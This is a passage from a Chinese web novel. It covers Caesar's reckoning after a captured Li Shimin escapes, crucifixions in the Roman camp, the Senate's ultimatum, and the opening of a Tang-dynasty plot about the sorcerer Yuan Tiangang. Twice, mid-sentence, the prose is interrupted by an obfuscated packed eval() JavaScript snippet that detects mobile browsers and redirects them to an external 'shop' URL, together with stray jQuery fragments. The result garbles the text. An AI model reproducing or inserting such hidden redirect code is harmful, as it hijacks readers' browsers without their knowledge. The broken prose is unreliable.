火盆的光在他脸上跳动,映出一双逐渐被某种黑暗情绪吞噬的眼睛。凯撒的话像毒蛇,钻进他的耳朵,咬噬他的理智 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224102|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你激怒了一头本可以驯服的狮子……” “他让你看起来像傻瓜……” “你欠我一条命……” 每一句都在发酵,都在扭曲,都在指向同一个人—— 不是那个神秘的东方贵族,不是那个有价值的俘虏,不是那个凯撒感兴趣的谜题。 是一个羞辱了他、愚弄了他、差点毁掉他在凯撒心中八年积累的信任的……敌人。 “我会找到你。”他对着空无一人的帐篷,声音嘶哑得像砂纸摩擦,“我会亲手把你钉在十字架上。然后看着你流血,听着你惨叫……直到你明白,羞辱马库斯·安东尼的代价是什么。” 帐外,黄昏如血。 而仇恨,已经生根。 四、审判时刻 帅帐内,屋大维站在那里,脸色苍白得像莎草纸。他低着头,浅金色的头发散乱地垂在额前,手里紧紧攥着那枚雄鹿徽章。 凯撒没有立刻说话。 他走到主帅的座位前——那是一张铺着狼皮的行军椅——却没有坐下。他背对着少年,伸手拿起桌案上的一样东西。 那把剑。 李世民的剑。 剑鞘上的金银钿妆在帐内昏黄的光线下流淌着温润却冰冷的光泽。凯撒的手指抚过剑身,动作轻柔得像在触碰情人的皮肤。 然后他转过身,将剑轻轻放在桌案中央。 “说吧。”凯撒的声音很平静,“从你第一次走进那顶帐篷开始。每一个细节。” 不是“你有没有给他徽章”,不是“你为什么要帮他”,甚至不是“你知道你做了什么吗”。只是一个简单的问题:发生了什么。 屋大维张了张嘴,声音干涩:“舅舅,我——” “我要听事实,屋大维。”凯撒打断他,灰蓝色的眼睛像两潭封冻的湖,“不是解释,不是借口。事实。现在,把告诉安东尼的那些话忘掉,这里只有我和你。” 帐内死寂。只有远处隐约传来工匠修补营门的敲击声。 屋大维开始讲述。起初结结巴巴,但很快,在凯撒那平静到可怕的注视下,他不得不强迫自己冷静,尽可能客观地复述: “……他说‘我接受’。”屋大维的声音低了下去,“用他的语言……然后,他把那条金链子给了我。我……我把徽章给了他。我以为……那只是……” “友谊的象征?”凯撒替他说完,嘴角勾起一丝没有温度的弧度,“告诉我,屋大维,当他把链子戴在你脖子上时,你是什么感觉?” 少年愣住了。 “心跳加速?脸颊发热?觉得他是这世界上最特别的人?”凯撒的每个词都像手术刀,精准地剖开少年试图隐藏的一切,“觉得他理解你,欣赏你,把你当成平等的、智慧的对话者——而不是一个需要被保护的、体弱多病的罗马贵族少年?” 屋大维的脸由白转红,又由红转青。 “他当然理解你。”凯撒继续说,声音里终于渗出一丝冰冷的讥诮,“他花了三个下午,就摸清了你的全部弱点:对知识的渴求、对被当作‘孩子’的不满、对异质文明的天真向往……还有,一个十四岁少年最容易滋生的、对强大年长者的倾慕。” “不!不是那样的!”屋大维脱口而出,声音在发抖,“他是真的……他教我汉字,他分享东方的哲学——” “然后利用你获取信息、测试看守的漏洞、最后,用你亲手给的家族徽章,大摇大摆地穿过我的军营大门。”凯撒握住他的手,打开他的手心,取出那枚雄鹿徽章,轻轻放在剑鞘旁。 两件信物,并排陈列。 一件是主人拿不回去的武器,一件是被利用后遗落的凭证。 “告诉我,”凯撒看着屋大维,眼神深不可测,“在你为他讲述《奥德赛》时,在你为他解释罗马的家族命名时,在你为他推荐德尔斐和卢克索的神谕所时……他有没有问过你,军营的巡逻时间?换岗规律?马厩的位置?南门守卫的检查习惯?” 屋大维僵住了。 那些看似随意的、穿插在文化教学中的问题,此刻在凯撒的质问下,像散落的珠子突然被一根线串起—— “你们一天巡视几次?”(画了太阳和月亮,做了循环的手势) “马匹……在哪里休息?”(画了马和草棚) “大门……一直开着?”(画了门和太阳落山) “他……”屋大维的嘴唇在颤抖,“他不是囚犯……他是客人,他想了解罗马……” “他想了解的是如何逃离罗马。”凯撒的声音斩钉截铁,“而你,我的外孙,我的继承人之一,用了整整三个下午,亲手为他绘制了逃跑的地图。” 帐内一片死寂。 屋大维像被抽干了所有力气,踉跄后退。少年的灰色眼睛里,有什么东西破碎了——不仅是信任,还有某种更珍贵的、关于“理解”与“共鸣”的幻梦。 凯撒微微俯身,灰蓝色的眼睛紧紧锁住屋大维的,一字一句,仿佛用凿子将这句话刻进少年的骨髓: “在权力的疆域里,情感是最珍贵的货币,也是最致命的弱点。你向他展示了你的情感,就等于向他暴露了你的咽喉。” 屋大维浑身一震,像是被这句话的寒意瞬间冻僵。凯撒的言语没有安慰,只有赤裸裸的、血淋淋的现实。 凯撒绕过桌案,走到屋大维面前。这次,他伸出双手,重重地按在少年单薄却紧绷的肩膀上。那力量沉甸甸的,是一种托付,也是一种禁锢。 “哭泣属于昨夜。今天,你要开始思考:他为什么能成功?他看穿了罗马军营的哪些弱点?他对盖乌斯·屋大维这个人的判断,为何如此精准?” “我要你写一份报告,不是关于你多难过,而是像一个将军分析敌情那样,分析‘菲尼克斯’这个人。” 凯撒略微停顿,灰蓝色的眼眸深处,闪过一丝屋大维无法完全理解的复杂光芒。 “如果有一天,你再次站在他面前,你该如何面对他?是复仇,是征服,还是……另一种形式的对话?” 屋大维的眼神,在泪光之后,开始有某种冰冷的东西凝聚:“我明白了,舅舅。我会写出这份报告……我永远也不会忘记他。”? 屋大维抬起头,眼中还有最后一丝不甘:“舅舅,您难道……您难道对他没有——” 问题像一把淬毒的匕首,掷向帐内最敏感的沉默。 凯撒没有动。他凝视着屋大维,目光深处仿佛有暗流在无声地汹涌、旋转。 时间被拉长了,每一秒都充满厚重的质感。屋大维几乎能听到自己血液冲刷耳膜的声音,他在等待雷霆,或者更冷的冰霜。 然而,凯撒只是极轻地、几乎像叹息般呼出了一口气,目光投向虚空,仿佛再次看到雨夜灯火下的那个身影。 “是的,屋大维。我看到了一个谜,一个值得我放下统帅姿态去理解的灵魂。这不是迷惑,是……”他顿了顿,似乎在寻找更准确的词,“是两座山峰在云雾中偶然相望。我欣赏他,甚至……珍惜那场对话。但这不妨碍我清楚,他是罗马需要消化或消灭的未知力量。我的错误不在于‘欣赏’,而在于忘了在欣赏的同时,把囚笼的锁铸得更牢。” 他收回目光,重新落在屋大维身上,那层罕见的柔软消失了,取而代之的是更加冷硬的决心:“现在,这个错误需要被纠正。而你的错误,也需要被转化。” “去吧。”凯撒说,声音恢复了统帅的平淡。 屋大维行了一个标准的军礼,转身,步伐稳定地走向帐帘。他的背脊挺得笔直,仿佛已经扛起了某种无形的重量。 在掀开帘子前,他停顿了极短暂的一瞬,没有回头,只是左手无意识地握紧了胸前——那里,贴着他皮肤的,不是家族徽章,而是一道柔韧、微温、仿佛拥有生命的蛇骨金链。 帘子落下,帐内重归寂静。?? 凯撒独自站在昏暗中。他的目光落在桌案上——并排的剑与徽章。 然后,他做了一件让暗中观察的亲兵都意想不到的事: 他走到剑架前,拔出自己的罗马短剑——那柄跟随他征服高卢八年、剑刃上布满细微缺口的武器。他双手握住剑柄,高高举起,然后—— 狠狠劈在行军椅的扶手上! “哐——!!!” 狼皮撕裂,木屑飞溅。 凯撒像一头被困住的野兽,用最原始的方式发泄某种无法言说的东西——不是愤怒,不是失望,而是某种更复杂、更危险的、几乎要冲破他毕生理智防线的洪流。 外面守卫的亲兵们屏住呼吸,无人敢动。 帐帘被猛地掀开。 凯撒走出来,呼吸平稳,衣着整齐,连头发都一丝不苟。只有那双灰蓝色的眼睛,深处有什么东西在熊熊燃烧。 “传令。”他的声音平静如常,却让所有人脊背发凉,“全军集合。现在。” 18. 第十八章、风暴袭来 第十八章、风暴袭来 黄昏最后的光,将阿莱西亚的土垒染成暗红。 军营中央的空地上,黑压压地站满了罗马士兵。没有人交谈,没有人挪动,只有旗帜在晚风中猎猎作响。 空地边缘,竖起了十二具粗糙的木十字架。 每一具上面,都钉着一个罗马士兵。 他们是被选出来的——昨夜东区监区的四名看守,南门放行的四名守卫,信使马厩的两名老兵,以及两名最早发现异常却未上报的巡逻兵。 没有审判,没有辩解。 只有凯撒的一句话:“失职者,以军法论处。” 钉锤敲击骨头的声音沉闷而持续。惨叫声起初凄厉,逐渐变成嘶哑的呻吟,最后只剩下濒死的喘息。血顺着木桩流下,渗进泥土,吸引来第一只闻腥而至的乌鸦。 “士兵马尔库斯、百夫长提比略、守卫长昆图斯……玩忽职守,各鞭三十、二十。即时执行。” 鞭子破空声响起,皮肉开裂,但受刑者咬紧牙关。 “东区全体守卫,本月薪饷充公,即日起负责营区清洁。南门守卫,薪饷减半,夜勤加倍。” 台下响起压抑的骚动,那是切身的损失感。 “德基穆斯·布鲁图斯,指挥严重失当,即日起暂停一切职务,留营待审。” 布鲁图斯脸色惨白地站在军官队列中,这比杀了他更难受。 凯撒站在临时搭起的高台上,俯瞰着这一切。 他没有看十字架,他在看士兵们的脸——那些或惊恐、或麻木、或隐含不满的脸。 “你们中的一些人,”凯撒开口了,声音不高,却清晰地传遍全场,“认为我为一个逃跑的俘虏大动干戈,是小题大做。” 他顿了顿,目光缓缓扫过人群。 “那么我告诉你们,他是什么。” 凯撒举起手中的剑——不是他自己的,而是李世民留下的那把。 “这把剑,来自一个我们连传说都未曾触及的帝国。它的锻造技术,超越罗马最好的工匠;它的平衡,完美到令人恐惧;它的主人,能用它在我军的重围中,杀死四名全副武装的士兵,然后冷静地换装、潜伏、策划,最后从我们眼皮底下消失。” 他将剑尖指向地上摊开的一张粗糙地图——是奴隶贩子那里缴获的,上面标着商路和部落聚居点。 “昨晚,他在二十里外,单人匹马袭击了一支有两百名护卫的奴隶贩子车队。他杀了首领,放火烧营,释放了两千多名奴隶制造混乱,然后趁乱夺马逃走。整个过程,不超过半个罗马时。” 人群中传来压抑的吸气声。 “这不是逃跑。”凯撒的声音陡然提高,“这是一次军事行动!一次精准、高效、冷酷的突袭与撤离!而执行它的,是一个在我们营中关押了七天、语言不通、赤手空拳的人!” 他放下剑,双手撑在栏杆上,身体前倾: “现在,还有人认为,他只是个‘穿裙子的东方妖精’吗?” 死寂。 只有十字架上濒死者的呻吟,在晚风中飘散。 “他羞辱了我们。”凯撒的声音沉下来,每个字都像铁钉敲进木头,“不是用巫术,不是用美色,而是用他最擅长的方式——战争的艺术。他看穿了我们的漏洞,利用了我们的轻敌,然后给了我们一记耳光。” 他直起身: “所以,这不是追捕一个逃犯。这是一场战争。一场罗马与一个未知文明的第一次交锋——而我们,刚刚输了第一回合。” 凯撒转身,对身后的书记官点头。 书记官展开一卷新的羊皮纸,高声宣读: “以罗马元老院与人民授予盖乌斯·尤利乌斯·凯撒的最高统帅权,现发布悬赏令: 凡提供在逃东方男子准确踪迹者,赏银五千第纳尔。 凡将其生擒并带回者,赏银两万第纳尔,赐公民权,授田百亩。 凡伤其性命者,赏银一千第纳尔。 凡藏匿、协助、知情不报者,与逃犯同罪,处钉十字架之刑。 此令即刻生效,通行于高卢全境。” 宣读完毕,书记官将羊皮纸贴在告示板上。士兵们伸长脖子,窃窃私语声像潮水般涌起——两万第纳尔,那是百夫长二十年的军饷! 凯撒任由议论发酵。他的目光越过人群,望向南方——那片李世民消失的、暮色渐浓的荒野。 就在这时,营门处再次传来骚动。?? 不同于之前追捕队伍归来的疲惫,也不同于信使疾驰的急促,这次是大队人马抵达时特有的、混杂着马蹄、车轮与脚步声的喧哗,还伴随着传令兵刻意拔高的、带着罗马口音的清晰通报: “马库斯·埃米利乌斯·雷必达阁下到——!奉元老院与罗马人民之命,抵达高卢大营——!” “雷必达?” 高台上,凯撒的眉头几不可察地蹙了一下。安东尼、卡勒努斯等高级将领也同时交换了惊疑的眼神。 雷必达是凯撒在罗马的重要政治盟友之一,但此刻他应该坐镇罗马,帮助凯撒协调与庞培及元老院的关系,而非突然出现在千里之外的高卢前线。 除非……罗马出了天大的事。 人群自动分开一条通道。风尘仆仆的雷必达在一队精锐罗马骑兵的护卫下,径直走向高台。 他年约四十,面容沉稳,但此刻眉宇间笼罩着一层挥之不去的阴霾,甚至带着一丝长途奔波的憔悴。他身上的旅行斗篷沾满泥点,却依旧保持着罗马高级官员的仪态。 他踩过地上的血迹,没有看那些十字架,也没有看周围肃立的士兵,目光直接锁定高台上的凯撒。 凯撒抬手,止住了正要上前阻拦的亲卫。他站在那里,居高临下,等待着。 雷必达在台下站定,深吸一口气,用足以让前排士兵听清的音量开口,声音因疲惫而沙哑,却异常清晰: “盖乌斯·尤利乌斯·凯撒统帅,我带来了元老院的正式决议,以及……来自东方的确切噩耗。” 他顿了顿,目光扫过台上台下无数双眼睛,一字一句道: “马库斯·李锡尼·克拉苏,已于卡莱战役中全军覆没,本人阵亡。七鹰旗尽失,两万罗马将士埋骨帕提亚。” “轰——!” 尽管早有流言,但当这则消息被元老院特使亲口证实,依然像一道惊雷劈在阿莱西亚上空。 士兵们脸色大变,惊呼和咒骂声再也无法抑制。克拉苏,罗马三巨头之一,最富有的人,竟然真的败了,死了!连军团鹰旗都丢了!这是罗马共和国近几十年来未曾有过的奇耻大辱! 凯撒的脸上没有任何表情,仿佛早已预料。但他的眼神深处,有什么东西迅速沉淀、冷却,变得如同冬日的第勒尼安海。 雷必达没有停顿,他提高音量,压住了现场的嘈杂,拿出了另一卷装饰着元老院徽记的羊皮纸: “基于帕提亚威胁升级,以及高卢战事已基本平定,元老院经过紧急辩论,于九月朔日通过以下决议: 其一,盖乌斯·尤利乌斯·凯撒之高卢总督任期,将于本年任期届满后自然终止,不再延期。 其二,为应对东方紧急局势,并酬谢凯撒征服高卢之功,元老院与罗马人民授予凯撒在罗马举行凯旋式的荣誉。前提是,凯撒须在收到本决议后六十日内,解散其麾下大部分军团,仅保留一个军团作为仪仗,并只身返回罗马,接受审查与凯旋式安排。 其三,高卢行省之防务及剩余军团,暂由马库斯·安东尼将军及元老院指定之其他指挥官共同接管,直至新任总督到任。” 念完,雷必达卷起羊皮纸,看向凯撒,声音低了一些,却更显沉重:“凯撒,元老院的使者团就在我身后三十里处。加图、小加图、还有庞培的人都在其中。这是最后通牒。” 死寂。 比之前任何一次都要沉重的死寂。 十字架上的血似乎都凝固了。 所有士兵,无论是百战老兵还是新兵,都屏住了呼吸,望向他们的统帅。他们听懂了:元老院不仅要剥夺凯撒的军权,还要他像个卸去爪牙的野兽,独自返回罗马——那个遍布政敌、法律可能变成谋杀工具的地方。 安东尼的脸涨成了猪肝色,拳头捏得咯咯作响。卡勒努斯眼神急速闪烁,计算着各种可能。拉比埃努斯等军团指挥官面色凝重,手不自觉地按在了剑柄上。 凯撒依然沉默。 他缓缓走下高台,走到雷必达面前。两人对视,无声的电流在空气中噼啪作响。 “克拉苏死了。”凯撒终于开口,声音平静得可怕,“元老院却急着给我举办凯旋式?” “这是庞培的意思,也是很多人的‘共识’。”雷必达压低声音,语速飞快,“卡莱的失败需要替罪羊,但活着的英雄更令人忌惮。他们害怕你挟高卢大胜之威,携不败军团返回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224103|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗马。加图在元老院咆哮,说除非你解散军队,否则你就是下一个想当国王的格拉古,甚至是苏拉。庞培……没有为你说话。” 凯撒微微点头,仿佛在听一件与己无关的事。他转过身,重新面对他的军队。 数万双眼睛注视着他。 他看到了愤怒,看到了担忧,看到了茫然,也看到了深藏眼底的、对劫掠与战利品尚未满足的贪婪,以及对统帅个人日益增长的狂热忠诚。 “士兵们。”凯撒的声音响起,不高,却奇异地压下了风声,传遍全场,“你们听到了。罗马在召唤我。以凯旋式的荣耀,和解除你们武装的命令。” 他停顿,目光如鹰隼般扫过: “克拉苏在帕提亚沙漠里丢掉了鹰旗和性命。而现在,元老院里的某些人,想让我在罗马的广场上,丢掉你们——我八年来同生共死的兄弟,和我用鲜血与汗水为罗马赢得的、这片比意大利更辽阔的土地!” “你们答应吗?!” 短暂的沉寂后,如同火山爆发: “不——!!!” 怒吼声震耳欲聋,无数拳头和武器举向空中。士兵们的脸因激动而扭曲。他们或许不懂复杂的政治,但他们懂得谁带领他们赢得了胜利、财富和荣耀,也懂得谁在试图夺走这一切,并将他们的统帅推向险境。 “追随凯撒!追随凯撒!”呐喊声一浪高过一浪,汇成汹涌的狂潮。刚刚因逃犯事件而受挫的士气,此刻被外部威胁和统帅的言语瞬间点燃,转化成了更炽热、更排他的忠诚。 凯撒举起手。 喧嚣渐息。 他看向雷必达,脸上依旧没有表情:“马库斯,感谢你带来消息。请回复元老院的使者:我,盖乌斯·尤利乌斯·凯撒,感谢元老院与人民授予凯旋式的荣誉。高卢战事虽已取得决定性胜利,但余烬未熄,部落人心未定,大军仓促解散恐生巨变。我将尽快安排高卢善后事宜,并择日返回罗马,亲自向元老院与人民汇报战果,并……讨论我的未来,以及罗马的未来。” “至于军队……”他顿了顿,声音陡然转厉,如同出鞘的剑锋,“只要高卢一日未完全安宁,只要罗马的边境一日仍需守卫,我的军团就将一日保持战备!这是我对罗马共和国的责任!” “凯撒!凯撒!凯撒!”山呼海啸般的欢呼再次响起,士兵们用尽全力呼喊统帅的名字,仿佛这是对抗整个元老院的咒语。 雷必达看着眼前近乎失控的场面,又看看凯撒那双深不见底的灰蓝色眼睛,心中已然明了。这不是接受,这是宣战——以士兵的意志为盾牌,以高卢为后方,向罗马元老院发出的、委婉而坚定的宣战。 他叹了口气,知道自己的使命已经完成——或者说,已经失败。他微微躬身:“我会将你的话带到,凯撒。但请小心,庞培的军团正在意大利集结。时间……不站在你这边。” 凯撒点了点头,不再多言。 雷必达转身,带着他的护卫,在无数罗马士兵复杂的目光中,默默离开了沸腾的军营。 凯撒站在高台上,望着雷必达远去的背影,又望向南方——罗马的方向。 暮色四合,最后一缕天光消失在地平线。阿莱西亚军营点燃了更多的火把,火光映照着一张张狂热或不安的脸。 一场风暴刚刚在他精心策划下暂时平息(后院起火),另一场更大、更致命、将席卷整个共和国的风暴,已经迫在眉睫(前路塌方)。 他的目光,不由自主地再次投向了东侧那片此刻已空荡荡的监区方向。那个雨夜,那盏孤灯下,两人用树枝和图画艰难交流的情景,那拥抱时的温度,那声生涩的“Valē”。 那个神秘的东方人李世民,就像一颗投入他命运池塘的巨石,在激起逃离的涟漪后,其引发的连锁波动,正与罗马政治的巨大漩涡轰然对撞。 而他,盖乌斯·尤利乌斯·凯撒,已经站在了漩涡的中心。 “传令,”他对身后的亲兵队长说,声音恢复了绝对的冷静,“高级军官,帅帐议事。立刻。” 他走下高台,步伐稳定,仿佛刚才那场煽动性的演讲与他无关。安东尼等人立刻跟上,每个人脸上都写满了山雨欲来的凝重。 经过那排十字架时,凯撒的脚步没有丝毫停顿。 十字架上,最后一名受刑者咽下了最后一口气。 乌鸦成群落下。 ——第一部分《七日传奇》完结—— 19. 第一章、袁天罡的报复 第二部分《诅咒溯源》?? 第一章、袁天罡的报复?? 一、长安第八日:危城 大唐长安,巍峨皇城。武德九年八月十七。 皇帝失踪的第八个清晨,长安城的上空笼罩着不祥的静默。 四更时分,皇城各门依旧紧闭,南衙禁军比平日多增三倍岗哨,北门屯营的灯火彻夜不熄。但再严密的封锁,也挡不住流言如地底暗河般奔涌——前夜有突厥游骑出现在泾阳城外,昨日河东急报粮道被劫,今晨太极宫侍御史突然称病不出…… 每一道消息都在加剧恐慌:新皇是否已遭不测?突厥大军是否真要兵临城下? 真正的危机在朝堂之外。秦王旧部与太子齐王余党间的裂痕正在扩大,山东士族观望,关陇门阀躁动。若非长孙无忌以铁腕控制中枢文书,房玄龄、杜如晦连夜奔走安抚各方,杜伏威等降将的旧部恐怕早已生变。 最大的危险来自时间——每过一天,皇帝平安的可能性就少一分,而“国不可一日无君”的铁律,正化作悬在所有人头顶的铡刀。 二、显德殿:三十人的密会 第九日寅时三刻,东宫显德殿。 殿门紧闭,窗牖覆以厚毡,三十余支牛油烛将殿内照得亮如白昼,却照不透每个人脸上的阴霾。 长孙无忌站在御阶下,一身紫袍已显褶皱。他身侧是太子妃长孙氏——此刻她未着礼服,只一袭深青常服,面色苍白如纸,但脊背挺直如松。 阶下左右,房玄龄、杜如晦、高士廉、尉迟敬德、程知节……秦王府核心文武皆在,无人落座。 “第八天了。”长孙无忌开口,声音沙哑,“再瞒不住。今晨,侍中陈叔达已三次遣人问询祭天改期之事,中书令萧瑀私下探问陛下‘圣体是否违和’。”他顿了顿,目光扫过众人,“更麻烦的是,齐王府旧吏中有人开始串联。” 尉迟敬德一拳捶在柱上,木屑簌簌落下:“直接搜捕!非常之时行非常之法!” “不可。”杜如晦摇头,“一动便是承认出事。如今突厥压境,长安城内若有大规模搜捕,必生民乱。” 殿内陷入死寂。烛火噼啪作响,映着一张张凝重疲惫的脸。 就在此时,殿外传来急促脚步声。宦官张难推门而入,声音发颤:“太史令傅奕求见,说……说寻到李淳风了。” 三、道门奇才 傅奕几乎是踉跄着进殿的。 这位执掌太史局、素来以刚直著称的老臣,此刻官帽歪斜,额上全是汗珠。他身后跟着一人,吸引了殿内所有的目光。 那人看起来不过二十七八岁,穿着一身雨过天青色道袍,外罩半透明云纱罩衣,行动时如雾气缭绕。 他面容清俊,肤色白皙,眉眼间却有种与年龄不符的沉静。最奇的是他的眼睛——瞳色比常人稍浅,在烛光下隐隐泛着琥珀色光泽,看人时仿佛能穿透皮囊,直窥魂魄。 他走进殿内,先向太子妃长孙氏躬身行了一个臣礼,动作从容。然后转向长孙无忌等人,微微欠身示意,礼数周全。 “歧州李淳风,见过太子妃,见过诸位公卿。”他的声音温和清晰,不卑不亢。 “太史令说,你能解此事。”长孙无忌没有寒暄,直入核心。 傅奕擦着汗补充:“老夫惭愧!占星、卜筮、推演,所有法子用尽,陛下踪迹……如石沉大海,半点天机不露!下官自知能力有限,无法窥破天机,所以举荐李道长……他精通天文、历法、阴阳、符咒,是当今道教第一奇才。” 殿内响起低语声。道教和李唐皇室的关系大家都知道——高祖李渊追封老子为始祖,道教已经是“皇室本教”。现在皇帝失踪如果真的和法术有关,道教恐怕将从此失去皇权的信任。 李淳风这次来,恐怕不只是“帮忙”,更是要挽回道教在皇室心中的地位。 长孙氏忽然起身,走下御阶。 她来到李淳风面前三尺处停下,双手拢在袖中,行了一个标准的道门稽首礼——这是皇室女眷对高道的大礼。 “请道长救我夫君,救大唐。” 声音很轻,却让殿内瞬间肃然。 李淳风深深还礼:“太子妃折煞贫道了。陛下乃天命之人,大唐国运所系,臣自当竭尽全力。” 他直起身,看向长孙无忌,语气诚恳:“还请长孙大人将陛下失踪前后的所有细节告知,无论大小,都可能有关键线索。” 顿了顿,他温和但坚定地补充: “特别是……任何与齐王李元吉有关的异常之事。” 四、惊才绝艳?? 殿外,天色将明未明。 长安城的轮廓在晨雾中若隐若现,而显德殿内的烛火,还要燃烧很久。 “诸位可曾听说过,”李淳风在听完事发经过后,抬眼,看向长孙无忌和在场众人,“一个叫袁天罡的人?” “袁天罡?” 长孙无忌皱眉思索。这个名字有些耳熟,却一时想不起在何处听过。 “他是道门千年一遇的奇才!”李淳风声音里带着一种复杂的情绪——像惋惜,又像警惕,“我七岁初涉《周易》,他已能推演国运;我十二岁布下第一个阵法时,他已在终南山巅,以星辰为棋与天对弈。” 他眼中那抹澄澈里,泛起一丝罕见的波澜。 “我与他曾有过一面之缘。他少年成名,貌若潘安,才情绝世,又自视甚高!但他命不好。”李淳风缓缓说,“或者说,天妒其才。两年前,他突然得了不治之症——” 他顿了顿,才继续道:“他为自己占卜寿数,卦象显示,他活不过二十岁。” 对于一个惊才绝艳、站在道术巅峰的少年来说,这无疑是残酷的判决。 李淳风的声音低了下去,“他不能接受这个结果,因此来找我,要我为他再占卜一次。我起卦,结果……一样。” 殿内死寂。只有雨声,和铜漏滴水的声音。 “他恼羞成怒,掀翻了卜案,龟甲、蓍草洒了一地。他指着天,说:‘你既生我如此之才,为何只给我如此之寿?你既爱我,为何又抛弃我?’” 李淳风睁开眼,眸中一片冷肃。 “自那日后,袁天罡性情大变。他不再钻研延寿养生之术,反而开始涉猎那些被列为禁忌的典籍——尤其是关于‘逆天改命’‘偷天换日’的邪法。半年前,他离开终南山,不知所踪。有传言说,看到他出现在齐王府。” “齐王?”长孙无忌瞳孔骤缩。 李元吉!两宫被诛前一段时间,齐王府确实曾经传出过巫蛊之说。 “你是说,陛下失踪,可能是袁天罡所为?”长孙无忌的声音绷紧了,“受齐王指使?” “极有可能。”李淳风语气沉重,“天子者,代行天意。袁天罡无力回天,可能迁怒于陛下。” 尉迟敬德赫然而起道:“他怎敢如此大胆?陛下他……” “将军放心,陛下并无性命之忧,任何术士若敢直接施法加害,必遭天道反噬,袁天罡不会这样做。他掳走天子,一定有重大阴谋。” 他的目的是悖逆天意,而非单纯杀死一个人。杀死皇帝等于同归于尽,但权力拒绝真空,很快就会有新的皇帝出现。若让天子活着受辱,则能持续玷污“天子”这个神圣符号。袁天罡追求的是一种极致的、慢性的、让双方都痛苦的精神折磨。?? 这些李淳风没有说出来,他再次向诸公稽首:“太子妃殿下,长孙公,诸位大人。道门讲求顺天应人,然袁天罡已入歧途,叛道逆天。陛下失踪,我教难辞其咎。淳风此来,一为赎我教之过,二为解苍生之厄。” 他抬起那双深井般的眼睛,烛光在其中凝聚成两点坚定的星火: “李淳风愿竭尽所能,穷搜天地,追索袁天罡所施邪术的轨迹。纵使千难万险,必寻得陛下的线索,助陛下……重返长安。” 五、双星对决 武德九年八月末,突厥十万铁骑陈兵渭水北岸,直逼长安。 与原本历史轨迹不同,突厥大营中弥漫着异乎寻常的笃定杀伐之气。来自神秘军师的确切情报——“唐国皇帝李世民已神秘失踪,长安中枢大乱,群龙无首”——如同最猛烈的助燃剂,彻底点燃了颉利可汗心中的野火。 议和的可能性被彻底掐灭,战争的齿轮在袁天罡冰冷的推演下,不可逆转地向着全面攻城、踏破长安的方向碾去。 袁天罡将李世民失踪的情报告知颉利可汗,是极其阴险而有效的一步。这断绝了唐朝缓兵之计的可能,将外部军事压力推向极致,与内部权力真空形成致命共振。 袁天罡从法术层面和现实战略层面双管齐下,旨在彻底绞杀大唐国运。 渭水河畔,风声如泣。 在中军大帐定下决战方略后,袁天罡独自回到了自己的帐篷。他盘膝而坐,气息渐归沉寂。 忽然,他身边的环境开始变化。整个世界像沙漏的沙子迅速风化、崩塌,转瞬间他已坐在一平如镜的水面上,上下无限高,四面无限远,水中倒映出他的身影,秀眉长眼,紫瞳朱砂,妖颜如玉。 他嗤笑一声,水中的倒影也嗤笑一声。然后那倒影开始憔悴,像春末的花儿一样枯萎,转眼间就只剩下病入膏肓的皮包骨相。 袁天罡冷笑一声:“观我生灭,示我无常,雕虫小技而已。” 他伸出食指虚虚一点,水面生出层层涟漪,水中的倒影被无形的力量击中,像纸片一样被撕开,露出另一张俊逸的面孔,琥珀色的眼睛仿 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他的紫瞳里像有鬼火在烧,缓缓抬头问道:“然后你告诉我,任我才高八斗,任我貌倾九州,任我通晓从前往后的所有谜题——我也只不过是棋盘上,一颗注定要被早早提走的子。” 李淳风的声音沉稳如古井:“天道盈虚,自有其数,生老病死,不可强求。你强行改变,扰乱的是整个天下的气数,受苦的是无数百姓。” 水波微漾,几株粉莲从水下生出,几支荷叶亭亭玉立,散发出安宁祥和的气息。 “收手吧,你的惊世之才,如果只能用来害人,那真是太可惜了!” 李淳风缓缓劝慰道,“人活一世,草木一秋。流星虽短,惊鸿一瞥。你为什么不认为,虽然上天没有给你人生的长度,却给了你人生的亮度?这是多少人求之不来的!” 袁天罡闻言大怒,一挥手,水面向上爆出无数尖锐的冰刺,那些冰刺像镜子一样,映出他妖异的脸。莲花和莲叶都被冻结,然后碎成粉末。 “你竟然把我和凡夫俗子相提并论?凡人如蝼蚁觅食,所求不过温饱,何其卑微短视!” 他紫瞳中的火焰几乎要喷薄而出,“凡人的尺度不配量我! 他们的路,我不走。” 周围的环境随他们的言语交锋不断变化,时而春暖花开,微风拂面;时而又瞬间冰封,呼气成霜。 袁天罡的身边浮现出倒悬的北斗星和逆流的冰川,代表他对既定命运的彻底否定与重构野心。同一时刻水下的倒影却是万物复苏、星河井然。 李淳风指责他:“你这么做,不是反抗天命,是在祸害人间!” “你说对了!我要让所有人看清楚,他们敬畏的‘天’,他们跪拜的‘天子’,有多么不堪一击!但你以为我这样就满意了?” 他嗤笑一声,身下冰面瞬间蔓延:“带走皇帝,只是第一步。我要让没了‘真命天子’的唐朝,内部斗得你死我活!我要让突厥人的铁骑,踏破长安城门!这还不够……”他紫色的瞳孔里烧起一种近乎狂喜的毒火,一字一句,像诅咒一样砸出来: “我要让躲在暗处的胡人势力——吐蕃、回纥、契丹、奚人……还有更远的豺狼,都闻到中原的血腥味!天要兴唐,我就要灭唐,我要让十胡入关、神州陆沉!” “你……疯了!”李淳风的声音第一次有了颤抖,“你简直入了魔!” 